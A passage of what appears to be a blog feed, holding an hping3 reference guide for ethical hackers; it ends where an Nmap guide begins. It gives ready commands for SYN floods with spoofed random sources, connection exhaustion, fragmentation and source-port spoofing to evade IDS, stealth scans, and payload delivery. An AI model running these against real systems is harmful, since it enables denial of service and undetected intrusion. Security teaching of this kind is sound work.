&amp; Version</strong></h3><pre><code><code># Command: -h or --help

Displays the complete usage guide with all available options and syntax for quick reference during testing without opening the manual page.

# Example(s)
hping3 -h
hping3 --help

# Command: -v or --version
Shows the current hping3 version number and data link layer type (Ethernet, PPP, etc.) for verifying compatibility and documenting tool versions in reports.

# Example(s)
hping3 -v
hping3 --version</code></code></pre><h3><strong>Packet Sending Rate &amp; Control</strong></h3><pre><code><code># Command: -c [count] or --count [count]

Sends exactly the specified number of packets then stops and displays summary statistics. Use for controlled scanning with precise packet counts, benchmarking firewall rules, measuring response rates, or limiting traffic to avoid detection.

# Example(s)
hping3 -c 10 192.168.1.1
hping3 --count 10 192.168.1.1

# Command: -i [interval] or --interval [interval]

Sets the time delay between consecutive packets. Accepts X for seconds, uX for microseconds (u500 = 500&#181;s), or mX for milliseconds. Spaces out packets to evade rate-based intrusion detection systems and simulate realistic traffic patterns during reconnaissance.

# Example(s)
hping3 -i u500 192.168.1.1
hping3 -i 2 192.168.1.1
hping3 --interval u1000 192.168.1.1

# Command: --fast

Sends exactly 10 packets per second (100ms intervals). Provides moderate speed for SYN scans without triggering rate limiting or flood detection mechanisms.

# Example(s)
hping3 --fast 192.168.1.1

# Command: --faster

Increases speed to approximately 100 packets per second (~1ms intervals). Use for time-sensitive operations like latency measurements or rapid service enumeration where speed matters but full flooding would be counterproductive.

# Example(s)
hping3 --faster 192.168.1.1

# Command: --flood

Transmits packets at maximum speed without waiting for replies or adding delays. Sends as fast as the network interface and system can process. Use for stress testing network devices, measuring maximum throughput, or authorized denial-of-service simulations in controlled environments.

# Example(s)
hping3 --flood 192.168.1.1</code></code></pre><h3><strong>Interface &amp; Output Control</strong></h3><pre><code><code># Command: -I [interface name] or --interface [interface name]

Forces packet transmission through a specific network interface (eth0, wlan0, tun0). Critical for multi-homed systems to direct traffic through a particular path like VPN tunnels, specific network segments during internal assessments, or isolating test traffic from production.

# Example(s)
hping3 -I eth0 192.168.1.1
hping3 --interface wlan0 192.168.1.1

# Command: -n or --numeric

Disables reverse DNS lookups and displays all IP addresses numerically. Speeds up large network scans by eliminating DNS resolution overhead, prevents information leakage through DNS queries, and avoids timeout delays when scanning hosts without reverse DNS entries.

# Example(s)
hping3 -n 192.168.1.1
hping3 --numeric 192.168.1.1

# Command: -q or --quiet

Suppresses per-packet output and displays only initial parameters and final summary statistics. Keeps log files clean in automated scripts, reduces console clutter during long-running tests, and focuses on aggregate results.

# Example(s)
hping3 -q 192.168.1.1
hping3 --quiet 192.168.1.1

# Command: -V or --verbose

Shows comprehensive packet-level information including headers, flags, and timing for every packet sent and received. Use for deep packet inspection, analyzing protocol behavior, debugging unexpected responses, and developing packet-level exploits or evasion techniques.

# Example(s)
hping3 -V 192.168.1.1
hping3 --verbose 192.168.1.1

# Command: -D or --debug

Activates debug mode showing internal program state, function calls, and detailed error messages. Use for troubleshooting unexpected behavior, diagnosing custom packet configuration issues, or understanding why raw packet scenarios fail at the OS level.

# Example(s)
hping3 -D 192.168.1.1
hping3 --debug 192.168.1.1

# Command: -z or --bind

Binds CTRL+Z to dynamically adjust TTL values during execution. Allows interactive hop-by-hop traceroute adjustments in real-time without restarting the command or losing session state.

# Example(s)
hping3 -z 192.168.1.1
hping3 --bind 192.168.1.1

# Command: -Z or --unbind

Releases CTRL+Z binding and restores standard Unix signal behavior where CTRL+Z suspends the process. Use after interactive TTL sessions to return to normal terminal control.

# Example(s)
hping3 -Z 192.168.1.1
hping3 --unbind 192.168.1.1

# Command: --beep

Produces an audible beep for each received reply packet. Helpful for passive monitoring when you need audio alerts for arriving responses, particularly during long-running scans or when multitasking.

# Example(s)
hping3 --beep 192.168.1.1</code></code></pre><h3><strong>Source &amp; Destination Address Control</strong></h3><pre><code><code># Command: -a [hostname] or --spoof [hostname]

Forges the source IP address in outgoing packets to appear as if they originated from the specified host. Use for testing anti-spoofing mechanisms, assessing ingress filtering effectiveness, conducting backscatter analysis by triggering responses to spoofed addresses, or testing firewall rules that trust certain source IPs.

# Example(s)
hping3 -a 10.0.0.5 192.168.1.1
hping3 --spoof 10.0.0.5 192.168.1.1

# Command: --rand-source

Generates a random source IP address for each packet, creating the appearance of distributed traffic from multiple origins. Use for simulating distributed denial-of-service scenarios in authorized tests, evading source-based blocking rules or rate limits, and making traffic correlation difficult for security devices.

# Example(s)
hping3 --rand-source 192.168.1.1

# Command: --rand-dest

Randomizes destination IP addresses according to specified rules, distributing packets across multiple targets. Use for broad network mapping without sequential predictability, fuzzing multiple endpoints simultaneously, or simulating scattered attack patterns to test network-wide detection.

# Example(s)
hping3 --rand-dest 192.168.1.x</code></code></pre><h3><strong>IP Header Options</strong></h3><pre><code><code># Command: -t [ttl] or --ttl [ttl]

Sets the IP Time To Live field (0-255), determining maximum router hops before packet discard. Each router decreases TTL by 1; packet drops when reaching 0. Use for traceroute operations, path MTU discovery, fingerprinting intermediate devices based on TTL behavior, and crafting packets that expire at specific network boundaries.

# Example(s)
hping3 -t 5 192.168.1.1
hping3 --ttl 64 192.168.1.1

# Command: -N [id] or --id [id]

Manually overrides the IP identification field with a specific value instead of automatic OS assignment. The IP ID identifies fragments of the same packet. Use for replay attacks with predictable ID values, evading security devices that correlate packets by ID sequence patterns, or testing whether IDS systems track IP fragmentation through ID matching.

# Example(s)
hping3 -N 12345 192.168.1.1
hping3 --id 12345 192.168.1.1

# Command: -H [protocol] or --ipproto [protocol]

Sets the IP protocol number in the IP header for RAW IP mode. Standard protocols use 6 for TCP, 17 for UDP, 1 for ICMP. Use for crafting packets with non-standard or uncommon protocols to test protocol-aware filters, assess firewall protocol handling, or probe for vulnerabilities in custom protocol parsers.

# Example(s)
hping3 -H 47 192.168.1.1
hping3 --ipproto 6 192.168.1.1

# Command: -W or --winid

Uses Windows-style byte ordering for the IP ID field (little-endian) instead of standard network byte order (big-endian). Aids OS fingerprinting evasion by making Linux-generated packets appear as Windows traffic, helping blend into predominantly Windows network environments.

# Example(s)
hping3 -W 192.168.1.1
hping3 --winid 192.168.1.1

# Command: -r or --rel

Displays IP ID field values as relative increments from the previous packet instead of absolute values. Use for detecting Network Address Translation (NAT) devices, identifying load balancers through ID sequence discontinuities, or fingerprinting how different systems increment IP ID counters during reconnaissance.

# Example(s)
hping3 -r 192.168.1.1
hping3 --rel 192.168.1.1

# Command: -o [hex_tos] or --tos [hex_tos]

Sets the IP Type of Service (ToS) or Differentiated Services (DiffServ) field using hexadecimal values. Use for testing Quality of Service policy enforcement, validating priority-based routing behavior, or verifying whether traffic classification and marking rules are correctly applied.

# Example(s)
hping3 -o 0x10 192.168.1.1
hping3 --tos 0x10 192.168.1.1

# Command: -G or --rroute

Enables the IP record route option, instructing routers to insert their IP addresses into the packet header. Captures and displays the actual route taken, revealing internal network topology in environments where routers honor this option (increasingly rare due to security concerns and performance overhead).

# Example(s)
hping3 -G 192.168.1.1
hping3 --rroute 192.168.1.1</code></code></pre><h3><strong>Fragmentation Options</strong></h3><pre><code><code># Command: -f or --frag

Forces packet fragmentation, splitting data across multiple IP fragments. Use for testing fragmentation handling in firewalls or IDS, probing for fragment reassembly vulnerabilities, or evading signature-based detection that only inspects individual fragments without reassembling streams.

# Example(s)
hping3 -f 192.168.1.1
hping3 --frag 192.168.1.1

# Command: -x or --morefrag

Sets the &#8220;more fragments&#8221; (MF) flag in the IP header, indicating additional fragments follow. Use for testing how security devices handle incomplete fragment streams, probing drop policies for fragments that never complete, or crafting malformed fragmentation sequences to test parser robustness.

# Example(s)
hping3 -x 192.168.1.1
hping3 --morefrag 192.168.1.1

# Command: -y or --dontfrag

Sets the &#8220;don&#8217;t fragment&#8221; (DF) bit in the IP header, instructing routers never to fragment the packet. If the packet exceeds link MTU, routers drop it and send back an ICMP message. Use for Path MTU Discovery (PMTUD) to find maximum packet size, identifying MTU black holes where oversized packets are silently dropped, or forcing specific packet sizes for exploit delivery.

# Example(s)
hping3 -y 192.168.1.1
hping3 --dontfrag 192.168.1.1

# Command: -g [offset] or --fragoff [offset]

Manually sets the fragment offset field, indicating where in the original packet this fragment belongs (measured in 8-byte blocks). Use for crafting overlapping fragments, out-of-order fragments, or malformed fragmentation patterns to bypass weak reassembly logic or test fragment handling edge cases.

# Example(s)
hping3 -g 100 192.168.1.1
hping3 --fragoff 100 192.168.1.1

# Command: -m [mtu] or --mtu [mtu]

Enforces a virtual Maximum Transmission Unit controlling fragment sizing. Makes hping3 fragment packets as if sent over a link with the specified MTU. Use for simulating small-MTU links for evasion testing or validating how applications and security devices handle various fragment sizes.

# Example(s)
hping3 -m 500 192.168.1.1
hping3 --mtu 1280 192.168.1.1</code></code></pre><h3><strong>ICMP-Specific Options</strong></h3><pre><code><code># Command: -C [type] or --icmptype [type]

Selects ICMP message type (0-255). Type 8 is echo request (standard ping), type 0 is echo reply, type 3 is destination unreachable, type 11 is time exceeded (traceroute). Use for custom ping sweeps, crafting specific ICMP messages to test firewall rules, or probing target responses to various ICMP types during reconnaissance.

# Example(s)
hping3 -C 8 192.168.1.1
hping3 --icmptype 13 192.168.1.1

# Command: -K [code] or --icmpcode [code]

Sets the ICMP code field providing additional detail for the selected type. Type 3 (destination unreachable) has code 0 for network unreachable, code 1 for host unreachable, code 3 for port unreachable. Use for precise ICMP message crafting to test granular firewall rules or simulate specific network error conditions.

# Example(s)
hping3 -C 3 -K 3 192.168.1.1
hping3 --icmptype 3 --icmpcode 1 192.168.1.1

# Command: --icmp-ipver [version]

Sets the IP version in the ICMP-embedded IP header. Use for manipulating the IP header embedded inside ICMP error messages to test how devices parse embedded headers or simulate error messages for protocols that don&#8217;t match the outer packet.

# Example(s)
hping3 --icmp-ipver 4 192.168.1.1

# Command: --icmp-iphlen [length]

Sets the IP header length in the ICMP-embedded header. Use for manipulating the IP header embedded inside ICMP error messages to test parser handling or conduct ICMP tunneling experiments.

# Example(s)
hping3 --icmp-iphlen 20 192.168.1.1

# Command: --icmp-iplen [length]

Sets the total IP packet length in the ICMP-embedded header. Use for manipulating the IP header embedded inside ICMP error messages to test how devices handle malformed embedded headers.

# Example(s)
hping3 --icmp-iplen 100 192.168.1.1

# Command: --icmp-ipid [id]

Sets the IP ID in the ICMP-embedded IP header. Use for manipulating the IP header embedded inside ICMP error messages or conducting ICMP tunneling experiments.

# Example(s)
hping3 --icmp-ipid 5000 192.168.1.1

# Command: --icmp-ipproto [protocol]

Sets the protocol field in the ICMP-embedded IP header. Use for simulating error messages for specific protocols or testing how devices parse embedded protocol fields.

# Example(s)
hping3 --icmp-ipproto 6 192.168.1.1

# Command: --icmp-cksum [checksum]

Forces a specific ICMP checksum value, including intentionally incorrect checksums. Use for testing whether targets validate ICMP checksums before processing, probing for vulnerabilities where hardware checksum offload bypasses validation, or identifying devices that accept malformed ICMP packets.

# Example(s)
hping3 --icmp-cksum 0xFFFF 192.168.1.1

# Command: --icmp-ts

Sends an ICMP timestamp request (type 13), asking the target to reply with its current system time. Use for gathering remote clock information to calculate clock skew for OS fingerprinting, detecting virtualized environments through timing anomalies, or exploiting timing side-channels in cryptographic implementations.

# Example(s)
hping3 --icmp-ts 192.168.1.1

# Command: --icmp-addr

Sends an ICMP address mask request (type 17), historically used to query a host&#8217;s subnet mask. Modern systems rarely respond. Use for mapping legacy network configurations, identifying old systems that honor deprecated ICMP types, or discovering older infrastructure during reconnaissance.

# Example(s)
hping3 --icmp-addr 192.168.1.1</code></code></pre><h3><strong>TCP/UDP Port Options</strong></h3><pre><code><code># Command: -s [port] or --baseport [port]

Sets or fixes the source port number for outgoing packets. Use for maintaining consistent source ports across packets to preserve stateful firewall sessions, spoofing trusted source ports (53 for DNS, 20 for FTP-DATA) to bypass poorly configured access controls, or setting a specific starting port for sequential scanning.

# Example(s)
hping3 -s 53 192.168.1.1
hping3 --baseport 8080 192.168.1.1

# Command: -p[+][+] [port]

Sets destination port with optional auto-increment. -p 80 targets port 80 only, -p+ 80 increments per packet (80, 81, 82...), -p++ 80 increments per cycle. Use for automating sequential port scanning across ranges, testing versioned services on consecutive ports, or efficiently checking service availability across port spaces.

# Example(s)
hping3 -p 80 192.168.1.1
hping3 -p+ 80 192.168.1.1
hping3 -p++ 8000 192.168.1.1

# Command: --keep

Locks the source port to a constant value instead of incrementing or changing. Use for stateful firewall testing where maintaining the same source address-port tuple is required for return traffic, or testing whether security devices properly track connection state based on consistent port pairs.

# Example(s)
hping3 --keep 192.168.1.1</code></code></pre><h3><strong>TCP Header Options</strong></h3><pre><code><code># Command: -w [size] or --win [size]

Sets the TCP window size field advertising receive buffer capacity. Use for probing window scaling implementation issues, triggering specific receiver behaviors based on window advertisements, testing how applications handle zero-window or unusually large/small window values, or fingerprinting TCP stack implementations.

# Example(s)
hping3 -w 65535 192.168.1.1
hping3 --win 0 192.168.1.1

# Command: -O [offset] or --tcpoff [offset]

Sets the TCP data offset (header length), including values that don&#8217;t match actual header size. Use for crafting malformed TCP headers to test parser robustness, probing whether security devices validate header length fields, or attempting to bypass inspection by claiming headers extend beyond actual boundaries.

# Example(s)
hping3 -O 10 192.168.1.1
hping3 --tcpoff 15 192.168.1.1

# Command: -M [number] or --setseq [number]

Sets the TCP sequence number to a specific value instead of random or automatic values. Use for TCP session hijacking simulations by predicting or replaying sequence numbers, conducting replay attacks using captured sequence values, or testing whether applications validate sequence number progression.

# Example(s)
hping3 -M 1000000 192.168.1.1
hping3 --setseq 500000 192.168.1.1

# Command: -L [number] or --setack [number]

Sets the TCP acknowledgment number to a specific value. Use for simulating acknowledgment of unsent data, enabling session hijacking by crafting ACK packets that appear part of existing connections, or testing how applications handle out-of-sequence acknowledgments or malformed ACK values.

# Example(s)
hping3 -L 2000000 192.168.1.1
hping3 --setack 100000 192.168.1.1

# Command: -Q or --seqnum

Displays TCP sequence numbers extracted from received reply packets. Use for mapping Initial Sequence Number (ISN) generation patterns for prediction attacks, analyzing sequence number randomness to assess TCP stack security, or tracking sequence progression to understand connection state during exploitation.

# Example(s)
hping3 -Q 192.168.1.1
hping3 --seqnum 192.168.1.1

# Command: -b or --badcksum

Intentionally sends packets with incorrect TCP or UDP checksums. Use for verifying whether endpoints validate checksums or blindly trust them, detecting checksum offload configurations where network cards calculate checksums in hardware, or identifying middleboxes that modify packets without recalculating checksums.

# Example(s)
hping3 -b 192.168.1.1
hping3 --badcksum 192.168.1.1

# Command: --tcp-timestamp

Enables TCP timestamp options and analyzes returned timestamps to estimate remote system uptime. Use for calculating how long a system has been running based on timestamp counter values, detecting virtualized or containerized hosts through timestamp behavior anomalies, or identifying load balancers by comparing timestamp values across connections.

# Example(s)
hping3 --tcp-timestamp 192.168.1.1</code></code></pre><h3><strong>TCP Flag Options</strong></h3><pre><code><code># Command: -F or --fin

Sets the FIN (finish) flag signaling connection termination. Use in FIN scans to enumerate ports by observing how closed ports respond with RST while open ports may ignore or respond differently, or for testing stateful firewall behavior.

# Example(s)
hping3 -F 192.168.1.1
hping3 --fin 192.168.1.1

# Command: -S or --syn

Sets the SYN (synchronize) flag initiating TCP connection establishment. Use for SYN scanning to identify open ports through three-way handshake responses, or testing SYN flood protections by observing how systems handle connection requests.

# Example(s)
hping3 -S 192.168.1.1
hping3 --syn 192.168.1.1

# Command: -R or --rst

Sets the RST (reset) flag abruptly terminating connections. Use for testing how applications handle unexpected connection resets, probing for state table manipulation opportunities, or generating reset packets to interfere with existing connections in authorized testing.

# Example(s)
hping3 -R 192.168.1.1
hping3 --rst 192.168.1.1

# Command: -P or --push

Sets the PUSH flag requesting immediate data delivery to the application. Use for testing whether applications respond differently to pushed data, probing protocol timing behaviors, or ensuring data isn&#8217;t buffered during time-sensitive operations.

# Example(s)
hping3 -P 192.168.1.1
hping3 --push 192.168.1.1

# Command: -A or --ack

Sets the ACK (acknowledgment) flag indicating data receipt. Use in ACK scans to map firewall rulesets based on how stateful firewalls handle unsolicited ACK packets, or testing whether systems track connection state properly.

# Example(s)
hping3 -A 192.168.1.1
hping3 --ack 192.168.1.1

# Command: -U or --urg

Sets the URG (urgent) flag marking data as high-priority. Use for testing urgent pointer handling, probing for vulnerabilities in urgent data processing, or verifying whether applications properly implement TCP urgent mode.

# Example(s)
hping3 -U 192.168.1.1
hping3 --urg 192.168.1.1

# Command: -X or --xmas

Sets FIN, URG, and PUSH flags simultaneously, creating an &#8220;Xmas tree&#8221; packet. Use for identifying non-RFC-compliant TCP stacks that respond to invalid flag combinations, fingerprinting operating systems based on how they handle malformed packets, or evading detection systems that don&#8217;t expect unusual flag patterns.

# Example(s)
hping3 -X 192.168.1.1
hping3 --xmas 192.168.1.1

# Command: -Y or --ymas

Sets an invalid combination of SYN, FIN, and RST flags simultaneously. Use for stressing TCP state machines with contradictory instructions, testing parser robustness against malformed packets, probing for crash conditions or reset bugs in poorly implemented TCP stacks, or bypassing simple packet filters that only check individual flags.

# Example(s)
hping3 -Y 192.168.1.1
hping3 --ymas 192.168.1.1</code></code></pre><h3><strong>Payload &amp; Data Options</strong></h3><pre><code><code># Command: -d [size] or --data [size]

Sets payload size in bytes, padding with zeros if no data specified. Use for testing buffer handling by sending specific payload lengths, probing for buffer overflow vulnerabilities in fixed-size buffers, validating MTU-related behaviors, or ensuring packets reach minimum size requirements.

# Example(s)
hping3 -d 100 192.168.1.1
hping3 --data 1400 192.168.1.1

# Command: -E [filename] or --file [filename]

Reads packet payload data from the specified file. Use for covert channel data exfiltration proofs-of-concept by encoding data in packets, enabling protocol fuzzing with specific malformed payloads, or delivering exploit shellcode embedded in packet data fields.

# Example(s)
hping3 -E payload.txt 192.168.1.1
hping3 --file data.bin 192.168.1.1

# Command: -e [signature] or --sign [signature]

Appends an identifiable signature string to packet payload. Use for marking packets for later correlation when using multiple scanning tools, identifying which packets in captured traffic belong to specific test campaigns, or embedding metadata for tracking packet flows through complex network paths.

# Example(s)
hping3 -e &#8220;TEST123&#8221; 192.168.1.1
hping3 --sign &#8220;SCANID-456&#8221; 192.168.1.1</code></code></pre><h3><strong>Output &amp; Packet Display</strong></h3><pre><code><code># Command: -j or --dump
Displays received packets in raw hexadecimal format showing all bytes. Use for forensic analysis of packet contents, manual protocol reverse engineering, identifying hidden data or covert channels in responses, or debugging exact byte-level protocol behaviors during exploit development.

# Example(s)
hping3 -j 192.168.1.1
hping3 --dump 192.168.1.1

# Command: -J or --print
Filters packet display to show only printable ASCII characters, suppressing binary data. Use for cleaning up output when extracting text-based data from responses, making banner grabbing more readable, or quickly identifying human-readable content embedded in packet payloads.

# Example(s)
hping3 -J 192.168.1.1
hping3 --print 192.168.1.1

# Command: --tcpexitcode
Sets program exit code to match the last received TCP flag value. Use for enabling shell scripting conditionals based on scan results, automating decision-making in scanning workflows by testing exit codes, or chaining hping3 with other tools that react based on whether ports are open (SYN-ACK) or closed (RST).

# Example(s)
hping3 --tcpexitcode 192.168.1.1</code></code></pre><h3><strong>File Transfer &amp; Channel Protocol</strong></h3><pre><code><code># Command: -B or --safe

Enables reliable protocol with ACK-based acknowledgments and automatic retransmissions. Use for transforming hping3 into a basic file transfer tool with reliability guarantees, implementing covert channels that reliably exfiltrate data over unusual protocols, or demonstrating proof-of-concept protocol tunneling through restricted networks.

# Example(s)
hping3 -B 192.168.1.1
hping3 --safe 192.168.1.1

# Command: -u or --end

Signals end of file transfer session and stops accepting further data. Use for cleanly terminating safe-mode transfers ensuring all data is acknowledged, preventing hanging connections after transfer completion, or triggering receiver-side processing once transmission is confirmed complete.

# Example(s)
hping3 -u 192.168.1.1
hping3 --end 192.168.1.1</code></code></pre><h3><strong>Traceroute Mode Options</strong></h3><pre><code><code># Command: -T or --traceroute

Performs network path tracing by systematically incrementing TTL with each packet. First packet has TTL 1 and expires at first router, which sends back ICMP time exceeded revealing its IP address. Second packet has TTL 2 and reaches second router before expiring. Use for mapping network topology hop-by-hop, identifying routing paths and intermediate devices, discovering network boundaries and filtering points, or tracing packet traversal through multiple routers.

# Example(s)
hping3 -T 192.168.1.1
hping3 --traceroute 192.168.1.1

# Command: --tr-keep-ttl

Fixes TTL to repeatedly probe a single hop instead of incrementing. Use for diagnosing asymmetric routing by observing consistent behaviors at one hop, testing rate limiting or filtering at specific network points, or focusing analysis on a particular intermediate device&#8217;s responses.

# Example(s)
hping3 --tr-keep-ttl 192.168.1.1

# Command: --tr-stop

Halts traceroute after receiving the first non-ICMP time exceeded reply (typically when reaching destination). Use for focusing traceroute on finding the path without excess probing, reducing unnecessary traffic once the target responds, or quickly determining whether a host is reachable.

# Example(s)
hping3 --tr-stop 192.168.1.1

# Command: --tr-no-rtt

Disables round-trip time display in traceroute output, showing only hop IP addresses without timing information. Use for reducing output clutter during high-volume path recordings, simplifying parsing when only topology matters, or focusing on route enumeration without performance analysis.

# Example(s)
hping3 --tr-no-rtt 192.168.1.1</code></code></pre><div><hr></div><h2>Target</h2><p>The target specifies the host or IP address that hping3 will send packets to. It can be a domain, IPv4, IPv6, or even a broadcast/multicast address when appropriate. </p><p>All packet crafting, flags, and options operate toward this destination.</p><ul><li><p><strong>Domain Name</strong> &#8211; Uses a hostname that hping3 resolves to an IP. Useful for public or dynamically assigned hosts. Behaves the same as the resolved IP.</p></li><li><p><strong>IPv4 Address</strong> &#8211; Targets a host directly using its IPv4 address. Avoids DNS resolution and gives precise packet delivery. Ideal for internal or static hosts.</p></li><li><p><strong>IPv6 Address</strong> &#8211; Targets a host using an IPv6 address. Requires IPv6 networking and the <code>-6</code> flag. Useful for testing IPv6 routing or firewalls.</p></li></ul><h3><strong>Domain Name</strong></h3><p>Uses a hostname that hping3 resolves to an IP address. </p><p>Useful for testing public services or any system with DNS records. Behaves the same as targeting the resolved IP.</p><pre><code><code>hping3 example.com -S -p 80</code></code></pre><h3><strong>IPv4 Address</strong></h3><p>Targets a host directly using its IPv4 address. Avoids DNS resolution and is ideal for internal or static hosts. Provides exact, predictable packet delivery.</p><pre><code><code>hping3 192.168.1.10 -S -p 80</code></code></pre><h3><strong>IPv6 Address</strong></h3><p>Targets a host using an IPv6 address. Requires <code>-6</code> flag to force IPv6 mode. Useful in dual&#8209;stack or IPv6&#8209;only networks for testing routing or firewall behavior.</p><pre><code><code>hping3 -6 2001:db8::1 -S -p 80</code></code></pre><div><hr></div><h1>Use Cases for Ethical Hackers: </h1><p>Hping3&#8217;s ability to craft and send custom packets with precise control makes it valuable across multiple IT and security scenarios. </p><p>Network administrators use it to troubleshoot routing issues, test firewall configurations, measure latency and performance, verify Quality of Service policies, and diagnose connectivity problems. </p><p>Security teams rely on it to validate security device configurations, test defense mechanisms, verify policy enforcement, and simulate various attack patterns in controlled environments.</p><p>For ethical hackers, it&#8217;s a useful tool for reconnaissance, security testing, and identifying vulnerabilities that automated scanners often miss. The core use cases of hping3 for ethical hackers are outlined below.</p><div><hr></div><h2>Craft Custom Packets</h2><p>Building custom packets gives you complete control over headers, flags, timing, and payload content. This precision is critical when standard tools can&#8217;t generate the exact traffic patterns needed for specialized testing.</p><ul><li><p><strong>Protocol Testing</strong> Test non-standard protocols like GRE, IPsec, and SCTP that automated scanners don&#8217;t support by crafting raw IP packets with specific protocol numbers.</p></li><li><p><strong>Vulnerability Discovery</strong> Fuzz applications by sending malformed packets with invalid checksums, unusual TCP offsets, or invalid flag combinations to trigger edge cases in application logic.</p></li><li><p><strong>Exploit Development</strong> Deliver precise payloads with specific sizes and timing to test buffer overflows, measure response timing for timing attacks, and set specific TCP sequence numbers.</p></li><li><p><strong>Evasion Testing</strong> Bypass security controls using fragmentation, spoofed source addresses, unusual TTL values, and unexpected TCP flag combinations.</p></li><li><p><strong>IDS/IPS Validation</strong> Test whether security monitoring detects known exploit patterns, fragmented attack traffic, spoofed addresses, and unusual protocol usage.</p></li><li><p><strong>Stack Fingerprinting</strong> Identify remote operating systems by analyzing how different TCP/IP implementations respond to packets with specific characteristics.</p></li></ul><pre><code><code># Test raw IP protocols (GRE, IPsec, SCTP)
hping3 -0 -H 47 target.com

# Fuzz with malformed packets using bad checksums
hping3 -S -p 80 -b target.com

# Deliver custom exploit payloads
hping3 -S -p 80 -E payload.bin -d 5000 target.com

# Test fragmentation handling
hping3 -S -p 80 -d 10000 -f target.com</code></code></pre><div><hr></div><h2>Probe Hosts and Ports</h2><p>Manual probing provides granular control when automated scanners are too noisy or trigger security alerts. Unlike tools that follow predefined patterns, hping3 lets you craft individual probes with precise characteristics.</p><ul><li><p><strong>Stealth Scanning</strong> Control scan timing and packet construction to stay below IDS thresholds using microsecond-level timing control and unusual flag combinations.</p></li><li><p><strong>Firewall Mapping</strong> Test how stateful firewalls respond differently to SYN packets versus ACK packets to map filtering rules without completing three-way handshakes.</p></li><li><p><strong>Rule Enumeration</strong> Systematically test different flag combinations, ports, and protocols to build a complete picture of firewall policies.</p></li><li><p><strong>Service Fingerprinting</strong> Discover services that respond only to specific protocols, source ports, packet flags, or payload content.</p></li><li><p><strong>Rate Limit Bypass</strong> Space probes to stay under detection thresholds while maintaining scan progress by monitoring response patterns and adjusting timing.</p></li><li><p><strong>Honeypot Detection</strong> Identify deception systems by analyzing response characteristics, timing patterns, and TCP/IP stack behavior.</p></li></ul><pre><code><code># Stealth SYN scan with slow timing
hping3 -S --scan 1-1000 -i u100000 target.com

# ACK scan to map firewall stateful rules
hping3 -A --scan 1-1000 target.com

# NULL scan for firewall evasion
hping3 --scan 1-1000 target.com

# UDP service discovery
hping3 -2 -p 53,123,161 target.com</code></code></pre><div><hr></div><h2>Test Firewalls and IDS/IPS</h2><p>Testing security devices validates whether firewalls enforce intended policies and IDS/IPS systems detect sophisticated attack patterns. Understanding device responses reveals misconfigurations and detection gaps.</p><ul><li><p><strong>Evasion Technique Testing</strong> Use fragmentation, unusual flag combinations (Xmas, NULL, FIN), and timing manipulation to test whether security devices properly inspect and reassemble traffic.</p></li><li><p><strong>Anti-Spoofing Validation</strong> Verify that ingress and egress filtering prevents source address spoofing by sending packets with spoofed IPs from different network locations.</p></li><li><p><strong>Deep Packet Inspection</strong> Test whether devices examine packet contents beyond headers by sending fragmented packets with payloads split across fragments.</p></li><li><p><strong>Service Impersonation</strong> Manipulate source ports to appear as legitimate services like DNS (port 53) or HTTP (port 80) to test firewall rule configurations.</p></li><li><p><strong>Blind Spot Identification</strong> Systematically probe with different protocols, ports, and flag combinations to find gaps in security monitoring coverage.</p></li><li><p><strong>Validation Bypass</strong> Test inspection depth by sending packets with incorrect checksums, invalid sequence numbers, impossible flag combinations, and malformed options.</p></li></ul><pre><code><code># Xmas scan to test IDS detection
hping3 -F -P -U --scan 1-1000 target.com

# Fragmentation to evade deep packet inspection
hping3 -S -p 80 -f -c 10 target.com

# Source port spoofing to impersonate DNS
hping3 -S -p 80 -s 53 -k target.com

# NULL scan with timing evasion
hping3 --scan 1-1000 -i u50000 target.com</code></code></pre><div><hr></div><h2>Traffic and Denial of Service Simulation</h2><p>Simulating attack traffic in authorized environments tests system resilience, validates DDoS mitigation controls, identifies breaking points, and measures incident response effectiveness.</p><ul><li><p><strong>SYN Flood Testing</strong> Generate half-open connections by sending SYN packets without completing handshakes to exhaust server connection tables and test stateful firewall resilience.</p></li><li><p><strong>Amplification Attack Simulation</strong> Test UDP services for reflection and amplification vulnerabilities by sending small requests with spoofed source addresses that generate large responses.</p></li><li><p><strong>Connection Exhaustion</strong> Test connection limits by creating thousands of connections with varying source ports to identify at what point systems start rejecting new connections.</p></li><li><p><strong>Resource Consumption</strong> Send large or fragmented packets to identify which resources (CPU, memory, bandwidth, connection tables) fail first under load.</p></li><li><p><strong>Rate Limit Detection</strong> Gradually increase traffic rates from slow to fast while monitoring responses to find exact thresholds where systems start dropping packets or triggering defenses.</p></li><li><p><strong>Distributed Simulation</strong> Use random source IPs to mimic multi-source DDoS attacks and test whether mitigation systems can handle distributed attack patterns.</p></li></ul><pre><code><code># Gradual rate increase to find breaking points
hping3 -S -p 80 --fast -c 1000 target.com
hping3 -S -p 80 --faster -c 1000 target.com

# SYN flood test (authorized environments only)
hping3 -S -p 80 --flood --rand-source target.com

# Connection exhaustion with incrementing source ports
hping3 -S -p 80 -s ++1 --faster -c 10000 target.com

# Large packet resource consumption test
hping3 -S -p 80 -d 65000 --faster -c 1000 target.com</code></code></pre><div><hr></div><p>Hping3 is a complex tool that can be used for a variety of unique situations. I highly recommend trying out as many commands as you can, and trying to find a couple use cases to emulate using the commands from this guide.</p><p>Mastering packets enables you to understand network behavior at the deepest level, identify security gaps that automated tools miss, and test defenses with the precision.</p><p>Happy Hacking!</p>]]></content:encoded></item><item><title><![CDATA[Nmap for Ethical Hackers: Scanning, Scripting, and Stealth (Reference Guide)]]></title><description><![CDATA[Nmap (Network Mapper) is a free, open-source tool used to discover devices and services on a network.]]></description><link>https://darkmarc.substack.com/p/nmap-for-ethical-hackers-scanning</link><guid isPermaLink="false">https://darkmarc.substack.com/p/nmap-for-ethical-hackers-scanning</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Wed, 12 Nov 2025 22:28:47 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!8Dl6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Nmap (Network Mapper) is a free, open-source tool used to discover devices and services on a network. </strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!38vS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 